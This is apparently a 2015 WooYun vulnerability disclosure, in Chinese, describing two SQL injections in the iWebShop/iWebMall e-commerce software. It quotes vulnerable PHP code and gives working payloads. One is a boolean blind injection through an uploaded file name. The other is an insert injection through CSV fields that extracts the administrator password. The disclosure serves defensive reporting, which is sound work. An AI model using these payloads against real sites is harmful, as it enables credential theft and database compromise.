当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0129660

漏洞标题:iWebShop最新版两处SQL注入

相关厂商:www.jooyea.cn

漏洞作者: 小飞

提交时间:2015-07-27 14:05

修复时间:2015-10-25 15:01

公开时间:2015-10-25 15:01

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-27: 细节已通知厂商并且等待厂商处理中
2015-07-27: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-09-20: 细节向核心白帽子及相关领域专家公开
2015-09-30: 细节向普通白帽子公开
2015-10-10: 细节向实习白帽子公开
2015-10-25: 细节向公众公开

简要描述:

iWebShop最新版
7月26号从官网下载
一处bool盲注 一处insert注入
(其中的一个注入条件 GPC=OFF)

详细说明:

注入一
问题出在
action/goods/csv_taobao_img.php

$dbo=new dbex();
dbtarget('r',$dbServs);
$file_name=explode(".",$_FILES[$upload_name]['name'][0]);
/** 根据图片名称获取相应的商品id,是否首图 */
$tmpsql="select goods_id,is_set,id from $t_tmp_img where img='".$file_name[0]."'";
$tmpimg= $dbo->getRow($tmpsql);
if(!isset($tmpimg['goods_id'])||!$tmpimg['goods_id']){
HandleError("此文件不在csv上传列表中");
exit;
}


首先说下iwebshop的防护机制,iWebShop实际上对所有GET POST 的' \都进行了全局过滤
但是管理员忽略了FILES
而php对FILES是不进行魔术引号转义的(真的是这样么?真的测试过么?)。
$file_name=explode(".",$_FILES[$upload_name]['name'][0]);
这里获取上传的文件名
以文件名作为索引查询数据库
从而,我们在文件名引入单引号
首先注册登录
http://127.0.0.1/iwebmall/modules.php?app=csv_taobao_img
然后上传一个1'.tbi的文件 数据库显示为

FDC8B58E-31F3-4CBD-99D5-38F6AFA78B58.png


这里我们可以看到,我们成功引入单引号。
而iWebShop的getRow是不打印mysql_error的

public function getRow($sql) {
$result=mysql_query($sql) or die('false getRow, Sql:'.$sql);
return mysql_fetch_array($result);
}


所以我们通过布尔盲注来解决。

if(!isset($tmpimg['goods_id'])||!$tmpimg['goods_id']){
HandleError("此文件不在csv上传列表中");
exit;
}


这里我们构造返回的goods_id是否唯一 就能知道查询的正确与否
新建文件 文件名为

fei' union select substring((select version()),1,1)=5,2,3#.tbi


上传显示正常 说明version字段第一位为5
数据库执行如下

C489D5C4-A0E1-4E87-A2C9-63FC71E73935.png


如果改成4

fei' union select substring((select version()),1,1)=4,2,3#.tbi


前端报错

9665B4A1-E10F-428C-B3AF-92D3096E497E.png


注入二
问题出在
action/goods/csv_taobao.php

$dbo = new dbex;
dbtarget("w",$dbServs);

$row=get_shop_info($dbo,$t_shop_info,$shop_id);
//取得上传的csv文件
$arr=get_csv_date($_FILES['filename']['tmp_name']);

$errstr="";
$goods_num=$row['goods_num'];
foreach ($arr as $k=> $value){
$sql="insert into $t_goods (shop_id,goods_name,cat_id,ucat_id,type_id,goods_intro,goods_number,goods_price,is_delete,is_best,is_new,is_hot,is_promote,is_on_sale,is_set_image,goods_thumb,add_time,last_update_time,lock_flg) values ";
$sql.="('$shop_id','".$value['goods_name']."','$cat_id','0','1','".$value['goods_intro']."','".$value['goods_number']."','".$value['goods_price']."',
'1','0','0','0','0','1','0','','".date("Y-m-d H:i:s")."','".date("Y-m-d H:i:s")."','0')";
$up=$dbo->exeUpdate($sql);


同样的问题,由于太信任上传过程
直接用get_csv_date来解析这个上传文件
我们看看这个函数

/**
* 解析csv文件
*/
function get_csv_date($file_name){
$str = file_get_contents($file_name);
if($str{0} != "\xFF" || $str{1} != "\xFE"){
return false;
}
//转码
$str = unicodeToUtf8(substr($str, 2));
//切割字符串
$str = preg_replace('/\t\"([^\t]+?)\"\t/es', "'\t\"' . stripslashes(str_replace(\"\n\", \"\", '\\1')) . '\"\t'", $str);
$csv_array = explode("\n", $str);
unset($csv_array[count($csv_array) -1]);
unset($csv_array[0]);
$product_array = array();
if (!empty($csv_array)){

foreach ($csv_array as $k => $v){
// if ($k > $this->product_batch_num){//判断上传数量不能大于指定数量
// break;
// }
$tmp = explode("\t", $v);
//商品名称
$tmp['goods_name'] = str_replace("'",'',str_replace('"','',$tmp[0]));
//库存
$tmp['goods_number'] = intval($tmp[9]);
//商品价格
$tmp['goods_price'] = number_format($tmp[7],2);

if(trim($tmp[35],'"') != ''){
//图片
$tmp['image'] = trim($tmp[35],'"');
}
//商品简介
$tmp['goods_intro'] = str_replace("'",'',str_replace('"','',$tmp[24]));
$product_array[] = $tmp;
}
}
return $product_array;
}


可以看到 对注入的检测在于str_replace("'",'',str_replace('"','',$tmp[0]));
可是这个update点是多字段可控,我们可以引入
\转义掉单引号来注入
insert into iwebmaill_goods (shop_id,goods_name,cat_id,ucat_id,type_id,goods_intro,goods_number,goods_price,is_delete,is_best,is_new,is_hot,is_promote,is_on_sale,is_set_image,goods_thumb,add_time,last_update_time,lock_flg) values
('$shop_id','".$value['goods_name']."','$cat_id','0','1','".$value['goods_intro']."','".$value['goods_number']."','".$value['goods_price']."',
'1','0','0','0','0','1','0','','".date("Y-m-d H:i:s")."','".date("Y-m-d H:i:s")."','0')"
$value['goods_intro']填入\ ,goods_number 填入",1,1,1,1 ,1,1,1,1,1,1),(1,(select admin_password from imall_admin_user limit 1),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1)"使得语句变成
insert (x,x,x,x,x,x,x,x),(x,evil sql,x,x,x,x,x,x,x);
这样插入两条数据 最终得到管理员密码

DDCE58E3-A295-487E-B802-1F152B3D0DC7.png



成功注入

漏洞证明:

新建文件 文件名为

fei' union select substring((select version()),1,1)=5,2,3#.tbi


上传显示正常 说明version字段第一位为5
数据库执行如下

C489D5C4-A0E1-4E87-A2C9-63FC71E73935.png


如果改成4

fei' union select substring((select version()),1,1)=4,2,3#.tbi


前端报错

9665B4A1-E10F-428C-B3AF-92D3096E497E.png


$value['goods_intro']填入\ ,goods_number 填入",1,1,1,1 ,1,1,1,1,1,1),(1,(select admin_password from imall_admin_user limit 1),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1)"使得语句变成
insert (x,x,x,x,x,x,x,x),(x,evil sql,x,x,x,x,x,x,x);
这样插入两条数据 最终得到管理员密码

DDCE58E3-A295-487E-B802-1F152B3D0DC7.png

修复方案:

注意FILES转义

版权声明:转载请注明来源 小飞@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-10-25 15:01

厂商回复:

该问题是iwebmall 而不是最新的iwebshop的产品

最新状态:

暂无